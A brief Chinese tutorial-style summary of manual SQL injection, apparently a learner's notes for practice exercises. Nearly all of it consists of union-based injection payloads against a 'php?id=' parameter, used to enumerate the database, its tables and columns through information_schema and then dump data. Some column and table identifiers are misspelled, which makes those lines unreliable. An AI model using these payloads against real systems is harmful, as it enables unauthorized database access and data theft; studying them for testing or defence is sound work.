众所周之,SQL注入无非就是两种手段,手工注入和sqlmap
SQLMAP作为一种工具,比较简单粗暴
但有时候,需要用到手工注入来实现效果,或者做题目。
我们现在就来讲一下我这段时间所学的手工注入的总结吧
寻找注入点
通过' 以及and 1=1
and 1=2 等字符来判断是否存在注入点
然后猜出该字段
order by X (猜字段)
联合查询
php?id=1 union select 1,2,3,X --
根据回显字段号,使用函数,或者查询
函数:
user()
database()
version()
@@version_compile_os
concat()
usage:
concat(user(),database(),colunm都可以)
先查数据库名字
php?id=1 union select 1,database(),3,X --
再是查表
php?id=1 union select 1,table_name,3,X from information_schema.tables where table_schema = "库名" limit 1,1
再通过表名查列名
php?id=1 union select 1,colunm_name,3,X from information_schema.colunms where table_name = "表名" limit 1,1
最后就是
union select 1,列名,X,X from 表名
出结果